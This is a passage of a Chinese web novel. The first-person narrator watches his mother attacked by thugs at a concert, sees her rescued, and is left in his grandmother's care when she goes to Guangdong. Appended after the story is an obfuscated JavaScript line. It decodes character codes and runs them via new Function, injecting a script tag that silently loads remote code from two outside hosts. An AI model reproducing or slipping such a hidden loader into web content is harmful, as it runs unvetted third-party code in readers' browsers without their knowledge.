然而,这群被煽动起来的暴徒根本不理会,其中几个身形彪悍的家伙,眼中闪烁着凶光,直接冲着我妈扑了过来,看那架势,分明是要动手!
眼看那砂锅大的拳头就要招呼到我妈脸上,我妈却紧绷着身体,毫不退缩。
就在这千钧一发之际,一个瘦削的身影突然从我妈身后越众而出,踉跄着挡在我妈身前,那身影虽然不高,却像一道突然拔地而起的墙,生生挡住了暴徒的去路我定睛一看,那不是别人,正是吴伯伯!
他张开双臂,虽然身形有些颤抖,但声音却异常洪亮。
“哎哎哎!大家冷静点!有咩事情,好好商量嘛!唔好郁手郁脚嘛!”,“你算什么东西!”一个胳膊纹身的壮汉,恶狠狠地啐了一口,一个膝撞狠狠地顶在吴伯伯的肚子上。
吴伯伯顿时发出一声凄厉的惨叫,像一只被煮熟的虾仁般蜷缩着身子倒在地上,痛苦地呻吟着。
现场彻底失控,打斗声、尖叫声、怒骂声、物体被撞倒的巨响混杂在一起,宛如一锅沸腾的粥。
我妈也被推搡得东倒西歪,发丝凌乱,但她依然死死地咬着牙,拼命地想要护住倒地的吴伯伯,她的身影在混乱中显得那么单薄,却又那么坚韧。
我感到一阵眩晕,整个世界仿佛都颠倒了过来,恐惧像一只冰冷的手,紧紧地扼住了我的喉咙……
就在这时,我看到张叔叔带着几个人,从后台入口处像一阵旋风般冲了进来他怒吼一声,排开众人,一个箭步冲到那领头的纹身壮汉面前,一记干净利落的肘击,直接将他放倒在地。
随后他拳脚并用,三下五除二就将几个围攻吴伯伯的歹徒打翻在地,干净利落的身手瞬间震慑住了其他人,总算救下了吴伯伯和我妈。
不过,我看到张叔叔的嘴角也渗出了一丝血迹,显然在混战中也受了伤。
就在张叔叔控制住局面,混乱稍有平息的瞬间,一阵刺耳的警笛声由远及近。
紧接着,警车呼啸着停下,闪烁的红蓝警灯瞬间照亮了后台入口,一个肩上两颗星、领导模样的警察率众而入,他神情威严,厉声喝道:“都给我铐起来!一个都不能放过!”
大批警察迅速进入后台,将那些没来得及逃走的闹事人员一一拿下,手铐的“咔嚓”声此起彼伏。混乱的场面这才渐渐平息下来。
而那个保安公司的崔经理竟然也混在那个领导身后的随从里,他带着一脸震惊和愤怒,凑到那个领导身侧点头哈腰,油亮的秃顶闪着光:“何局,实在是对不起,底下的人工作失职,给您添麻烦了。”
他把责任全都推卸给了一个倒霉的保安队长,指责他“擅离职守”,导致局面失控。
那个保安队长脸色煞白,欲言又止,最终却只能低头认栽。
崔经理自己则安然无恙地置身事外。
我看到他偷偷地朝我妈的方向瞥了一眼,眼神阴鸷,充满了怨恨……
演唱会最终还是成功举行了。虽然经历了这样一场风波,但华周的精彩表演依然赢得了观众们热烈的掌声。
为了安抚我,我妈特意安排我进入现场观看,让我近距离地感受了一把演唱会的魅力。
演唱会结束后,张叔叔驾车,和吴伯伯一起,送我妈和我回家。
吴伯伯鼻青脸肿地坐在副驾驶的位置上,脸上还贴着几块创可贴,我和我妈则坐在后排。
路上,我听吴伯伯心有余悸地感叹:“哎呀,真系吓死我喇!难怪人哋都话投资不过山海关,今次真系俾我见识到喇,太可怕喇!要唔系小程你当机立断,及时清场,恐怕今次演唱会就要俾它哋彻底搞砸喇!”
说着,他转过头,笑着赞道:“不过,阿琴你临危不乱,果断勇敢,真系是巾帼不让须眉啊!”
我妈勉强笑了笑,轻轻摇了摇头,声音有些沙哑:“吴哥,您就别夸我了,我也是赶鸭子上架,硬着头皮往上冲。当时那情况,寻思不了那么多,现在回想起来,还真是有点儿后怕。”
她说着,下意识地摸了摸自己的额头,似乎那里还残留着冷汗的痕迹。
这时,开车的张叔叔沉声说:“吴老板,程姐,刚才我抽烟的时候,听几个保安在那儿嘀咕,那个崔经理放话了,说程姐今天断了他的财路,这事儿不算完,早晚要找回场子。”
吴伯伯闻言,沉默了一瞬,随即发出一声沉重的叹息,说:“唉,今次呢件事水好深㗎,我估计里面恐怕都有警员参与其中,唔系少许地痞流氓点敢咁嚣张?阿琴啊,我劝你都系尽早跟我一齐返广东避避风头啦,你留在度,恐怕迟早会俾少许人报复㗎!”
我妈脸上露出了担忧的神色,她把我揽到怀里,抚摸着我的头,说道:“可是吴哥,我走了,家里人咋办呢?万一他们把气撒在我家人身上,那可咋整?”
吴伯伯连忙解劝道:“你放心啦,只要你呢个正主儿走咗,它哋就冇咗目标啦,我再稍微打点打点,它哋应该都唔敢随便乱嚟。你走咗,反而可以俾你嘅家人更安全。”
我依偎在我妈的怀抱里,鼻尖萦绕着她身上的馨香,感受着那份柔软而富有弹性的温暖,目光却不由自主地落在她因担忧而紧锁的眉头上。
看着她脸上犹疑变幻的神情,我的心里也充满了不安。
我妈沉默了片刻,最终叹了口气,说道:“好吧,那我回去好好琢磨琢磨。”
几天之后,我妈最终还是决定跟吴伯伯去广东。
她先是和姥姥长谈了一次。我隐约听到她们在厨房里低声说着什么,姥姥的声音带着担忧和不舍,我妈则语气坚定,但偶尔也会传来一声轻叹。
我知道,她是在安排我。姥姥虽然年纪大了,但身体还算硬朗,平时也一直帮着照顾我,所以把我托付给姥姥,是她最放心的选择。
我妈详细地列了一张清单,从我的学习用品到日常饮食,甚至连我爱吃的零食都一一罗列。
接着,她把我叫到房间里,关上门,神情严肃地对我说:“小然,妈要跟你说件事儿。妈要出趟远门,去广东一段时间。”
我虽有心理准备,可是还是有些难过,我结结巴巴地问:“去……去多长时间?啥时候回来呀?”
我妈叹了口气:“这个嘛……妈也说不准,可能几个月,也可能……更长。不过你放心,妈肯定会经常给你打电话,给你邮好吃的、好用的。”,“可是……可是我爸呢?他还在医院里头呢……”我担心地问。
我妈的眼神黯淡了一下,但很快就恢复了平静:“你爸那边……妈也安排好了。妈已经跟护工周师傅交代过了,他会好好照顾你爸。住院费也交足了。妈走之前会跟你爸好好唠唠,让他安心养伤。你呢,也得常去医院看看你爸,给他带点儿好吃的,陪他唠唠嗑,记住了吗?”
说着,我妈轻轻地把我抱在怀里,安抚着我的后背:“小然,你已经长大了,是个男子汉了,要学会自己照顾自己。这段时间呢,你就先住姥姥家,让姥姥照顾你。妈都跟姥姥说好了,她会跟以前一样照顾你的。你现在最主要的任务就是好好学习,把心思都用在学习上,知道不?”
那天晚上,我妈去了医院陪护。
临别那天,阳光很好,但我的心情却像被乌云笼罩。
我妈把我拉到一边,从挎包里掏出一个厚厚信封,塞到我的手里。
“这是妈给你准备的零花钱,想买啥就买啥,可别委屈了自己。你得记住,指定得好好学习,听姥姥的话,把自己照顾好,还有你爸。要是遇到啥事儿,别害怕,第一时间就给妈打电话,知道不?”
她轻轻抚摸着我的头发,又捏了捏我的脸颊,眼神里充满了不舍和担忧。
“妈,你啥时候回来呀?”我仰头问道,心中难过。
她把我揽入怀里,那熟悉的温暖再次将我包围。
“快了,等妈把事儿都整利索了,就回来陪你。”
我妈转身离去,没有回头。我看着她的背影,在阳光下渐渐拉长、消失。
我感觉,这一次,她真的要离开了。而且,不知道什么时候才能回来。
随后的几个月,我妈的信和照片像雪片般飞回。
照片里的她,衣着依旧时髦,背景是高楼大厦和碧海蓝天。
她会给我们寄各种香港来的时髦玩意儿,还有定期的汇款,数额比父亲开班车累死累活一个月挣的工资高出好几倍。
然而,时间一长,我妈的来信和照片渐渐稀疏起来,她似乎变得非常忙碌。
随信寄来的照片里,我妈的脸庞似乎圆润了一点,身材也丰腴些,她脸上总是带着淡淡的笑容,看起来确实过得不错。
那一张张汇款单,似乎成了她与这个遥远的家之间唯一的羁绊。
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);